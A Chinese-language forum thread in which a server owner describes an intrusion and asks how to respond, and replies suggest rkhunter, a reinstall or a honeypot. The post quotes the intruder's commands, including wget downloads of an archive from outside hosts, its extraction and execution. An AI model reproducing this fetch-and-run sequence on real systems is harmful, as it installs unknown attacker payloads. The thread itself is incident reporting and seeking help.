被黑了，谁能帮出我

shechi

今天察看服务器发现有来历不明的ip地址访问了服务器并且获取了一个用户（user）的权限
执行了下面几个命令
uname -a
cd /tmp
cran -r
w
wget roshells。100free。com/hat。tgz
wget geocities。com/部csthief。cgi/hat。tgz
解压上面文件
tar zxvf hat。tgz
。/hat
ftp
（大概这么多）
用root修改user密码无法登陆了
请教大家该怎么处理此问题
谢谢

swordfish.cn

先试试用rkhunter查一下吧。
最好还是重装算了。

shechi

就怕重装了以后又被黑

hahasasa

对待history都不擦掉的小混混，怕什么！
而且他拿到的又非root权限，他这个帐号关联什么服务吗？关系到某些人的文件吗？如果不是，那应该没什么危害了。

建议搞个蜜罐（简单点可以换个shell给他）玩玩他。

7717060

非root权限没有事，你查一下他通过什么获得的权限